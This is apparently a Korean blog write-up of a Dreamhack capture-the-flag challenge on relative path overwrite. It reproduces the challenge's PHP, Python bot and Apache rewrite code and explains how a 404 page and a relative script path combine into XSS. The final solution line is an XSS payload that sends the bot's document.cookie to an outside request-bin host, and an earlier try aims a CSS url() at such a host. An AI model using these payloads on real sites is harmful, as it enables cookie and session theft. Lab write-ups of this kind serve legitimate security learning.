[2025-08-17] RPO advanced

๐Ÿฆฅ ๋ณธ๋ฌธ

  • bot.py

      from selenium import webdriver
      from selenium.webdriver.chrome.service import Service
      import sys
      import base64
        
      if len(sys.argv) < 2:
          exit(-1)
        
      if len(sys.argv[1]) == 0:
          exit(-1)
        
      path = base64.b64decode(sys.argv[1]).decode('latin-1')
        
      try:
          FLAG = open('/flag.txt', 'r').read()
      except:
          FLAG = '[**FLAG**]'
        
      def read_url(url, cookie={'name': 'name', 'value': 'value'}):
          cookie.update({'domain':'127.0.0.1'})
          try:
              service = Service(executable_path="/chromedriver")
              options = webdriver.ChromeOptions()
              for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
                  options.add_argument(_)
              driver = webdriver.Chrome(service=service, options=options)
              driver.implicitly_wait(3)
              driver.set_page_load_timeout(3)
              driver.get('http://127.0.0.1/')
              driver.add_cookie(cookie)
              driver.get(url)
        
          except Exception as e:
              driver.quit()
              return False
          driver.quit()
          return True
        
      def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
          url = f'http://127.0.0.1/{path}'
          return read_url(url, cookie)
        
      if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
          print('<script>alert("wrong??");history.go(-1);</script>')
      else:
          print('<script>alert("good");history.go(-1);</script>')
        
    
    • check_xss() ์—์„œ ์ฟ ํ‚ค์— flag๋ฅผ ์ง‘์–ด ๋„ฃ๊ณ  read_url()์„ ํ†ตํ•ด ์›น๋“œ๋ผ์ด๋ฒ„๋กœ ์‹คํ–‰
  • index.php

      <html>
      <head>
      <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
      <title>Relative-Path-Overwrite-Advanced</title>
      </head>
      <body>
          <!-- Fixed navbar -->
          <nav class="navbar navbar-default navbar-fixed-top">
            <div class="container">
              <div class="navbar-header">
                <a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a>
              </div>
              <div id="navbar">
                <ul class="nav navbar-nav">
                  <li><a href="/">Home</a></li>
                  <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
                  <li><a href="/?page=report">Report</a></li>
                </ul>
        
              </div><!--/.nav-collapse -->
            </div>
          </nav><br/><br/><br/>
          <div class="container">
          <?php
                $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
                if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
                    include $page;
            ?>
          </div>
      </body>
      </html>
    
    • page ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด .php ํŒŒ์ผ ์‹คํ–‰. ์ด ๋•Œ ..์ด๋‚˜ :์ด๋‚˜ /๋Š” ํ•„ํ„ฐ๋ง
  • report.php

      <?php
      if(isset($_POST['path'])){
          exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
          echo($output[0]);
      }
      ?>
        
      <form method="POST" class="form-inline">
          <div class="form-group">
              <label class="sr-only" for="path">/</label>
              <div class="input-group">
                  <div class="input-group-addon">http://127.0.0.1/</div>
                  <input type="text" class="form-control" id="path" name="path" placeholder="/">
              </div>
          </div>
          <button type="submit" class="btn btn-primary">Report</button>
      </form>
    
    • ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ ์‹คํ–‰

        python3 /bot.py <Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ path> 2>/dev/null &
      
      • ์ด ๋•Œ escape๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ CLI Injection ํ”ผํ•จ
      • 2>/dev/null : ์—๋Ÿฌ ์ถœ๋ ฅ์€ ์ „๋ถ€ ๋ฌด์‹œ
      • & : ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์‹คํ–‰
  • vuln.php

      <script src="filter.js"></script>
      <pre id=param></pre>
      <script>
          var param_elem = document.getElementById("param");
          var url = new URL(window.location.href);
          var param = url.searchParams.get("param");
          if (typeof filter === 'undefined') {
              param = "nope !!";
          }
          else {
              for (var i = 0; i < filter.length; i++) {
                  if (param.toLowerCase().includes(filter[i])) {
                      param = "nope !!";
                      break;
                  }
              }
          }
        
          param_elem.innerHTML = param;
      </script>
        
    
    • ํ˜„์žฌ URL์˜ param ๊ฐ’์„ ๊ฐ€์ ธ์™€์„œ ํ•„ํ„ฐ๋ง ํ›„ <pre> ํƒœ๊ทธ์— ์ง‘์–ด ๋„ฃ์Œ
    • filter.js๊ฐ€ ์ƒ๋Œ€ ์ฃผ์†Œ๋กœ ๋˜์–ด ์žˆ์–ด์„œ ํ•„ํ„ฐ๋ง์„ ์ˆ˜ํ–‰ ์•ˆ ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Œ
  • 404.php

      <?php 
          header("HTTP/1.1 200 OK");
          echo $_SERVER["REQUEST_URI"] . " not found."; 
      ?>
    
    • header("HTTP/1.1 200 OK"); : ์‘๋‹ต ์ฝ”๋“œ 200์œผ๋กœ ์ง€์ •
    • ์š”์ฒญํ•œ URL ๊ฒฝ๋กœ๊ฐ€ not found์ž„์„ ๋‚˜ํƒ€๋‚ด๋Š” ํŽ˜์ด์ง€
  • 000-default.conf

      RewriteEngine on
      RewriteRule ^/(.*)\.(js|css)$ /static/$1 [L]
        
      ErrorDocument 404 /404.php
    
    • URL Rewrite ์ง€์ •ํ•˜๋Š” ์ฝ”๋“œ
      • .js ๋‚˜ .css ํŒŒ์ผ๋ช…์€ /static ๊ฒฝ๋กœ์—์„œ ์š”์ฒญํ•˜๋„๋ก rewrite
      • [L] : ์ด ๊ทœ์น™์ด ๋งค์นญ๋˜๋ฉด ๋‹ค๋ฅธ RewriteRule ์ ์šฉ X
      • RewriteRule์€ ์Šคํฌ๋ฆฝํŠธ์˜ ํŒŒ์ผ ์š”์ฒญ์—์„œ๋„ ์ ์šฉ๋˜๋ฏ€๋กœ <script src=filter.js>์—๋„ ์ ์šฉ
    • ErrorDocument 404 : 404 Not Found ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ–ˆ์„ ๋•Œ /404.php ์‹คํ–‰

๊ธฐ์กด์˜ RPO ๋ฌธ์ œ์—์„œ rewrite rule๊ณผ 404 ํŽ˜์ด์ง€๊ฐ€ ์ถ”๊ฐ€๋˜์—ˆ๋‹ค.

๊ทธ๋ž˜์„œ ์ผ๋ถ€๋กœ 404๋ฅผ ์œ ๋ฐœํ•˜๊ณ  CSS Injection๊ณผ ์—ฐ๊ณ„ํ•˜์—ฌ ๋“œ๋ฆผํ•ต ํˆด์ฆˆ์— ์ฟ ํ‚ค๋ฅผ ๋„ฃ์–ด์„œ ๋ณด๋‚ด๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ–ˆ๋‹ค.

index.php/page=evil.css/*{background:url(https://zcpzeje.request.dreamhack.games)}

๊ทผ๋ฐ CSS injection์„ ์‹คํ–‰์‹œํ‚ค๋ ค๋ฉด css๋กœ ์ฝ์–ด๋“ค์—ฌ์•ผ ํ•˜๋Š”๋ฐ <link rel> ํƒœ๊ทธ๋กœ๋งŒ ๊ฐ€๋Šฅํ•˜๋‹จ๋‹ค..

๊ณต๊ฒฉํ•˜๋ ค๋ฉด ์ผ๋‹จ ์›น๋“œ๋ผ์ด๋ฒ„๋กœ ๋“ค์–ด๊ฐ€์•ผ ํ•จ

์ฟ ํ‚ค๋Š” ์™ธ๋ถ€์—์„œ ์š”์ฒญํ•ด์•ผ ํ•จ

์ฆ‰, js ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•จ โ†’ 404.php ํ˜น์€ vuln.php

  • vuln.php์—์„œ๋Š” filter.js๊ฐ€ ๋ฌธ์ œ. ์ƒ๋Œ€ ๊ฒฝ๋กœ์ด์ง€๋งŒ default ๊ฐ’์— ์˜ํ•ด static ๋‚ด๋ถ€ ํด๋”์— ์žˆ๋Š” ๊ฒƒ๋งŒ ์ž‘๋™
  • JS์™€์˜ ์—ฐ๊ณ„ ๋ถ€๋ถ„์—์„œ
    1. /static/script.js ๋กœ ๋กœ๋“œ๋˜์–ด์•ผ ํ•  ํŒŒ์ผ์„ /USER_INPUT/static/script.js ์˜ ํ˜•ํƒœ๋กœ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ
    2. USER_INPUT ๋ถ€๋ถ„์„ ์กฐ์ž‘ํ•˜์—ฌ index.php/alert(1); ์ฝ”๋“œ๋ฅผ ๋„ฃ์Œ
    3. ์ตœ์ข… ๊ฒฝ๋กœ๋Š” /index.php/;alert(1);//static/script.js๋กœ ์ฒ˜๋ฆฌ
    4. ๋ธŒ๋ผ์šฐ์ €๋Š” JS๋กœ ์ธ์‹ํ•˜๊ณ  /index.php ๋ฅผ ์‹คํ–‰ โ†’ HTML ๋ฐ˜ํ™˜
    5. alert(1); ๋ถ€๋ถ„์€ JS ์ฝ”๋“œ๋กœ ์‹คํ–‰. ๋’ค //static/script.js ๋Š” ์ฃผ์„ ์ฒ˜๋ฆฌ๋˜์–ด ๋ฌด์‹œ

๋ฅผ ์ด์šฉํ•˜๋ ค๊ณ 

index.php/alert(1);//?page=vuln

๋ฅผ ๋จผ์ € ํ•ด๋ดค๋Š”๋ฐ alert(1)๊ฐ€ ์•ˆ๋œฌ๋‹ค. ๊ทผ๋ฐ ;alert(1);๋Š” ๋จ? โ†’ ์™œ?

/index.php/๋ฅผ ์ •๊ทœ์‹ ๋ฆฌํ„ฐ๋Ÿด๋กœ ๋ฐ›์•„๋“œ๋ฆฌ๊ณ  ;๋ฅผ ํ•ด์•ผ ์ •๊ทœ์‹ ๋ฌธ์žฅ์ด ๋์ž„์„ ์•Œ๋ฆฌ๊ณ  alert(1);์„ ํ•ด์•ผ ๋™์ž‘ํ•œ๋‹ค

ํ’€์ด ๊ณผ์ •

  1. ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ /report API์— ์ž…๋ ฅ
index.php/;location.href='https://hyfimog.request.dreamhack.games/'+document.cookie;//?page=vuln&param=dreamhack

Categories:

Updated:

Leave a comment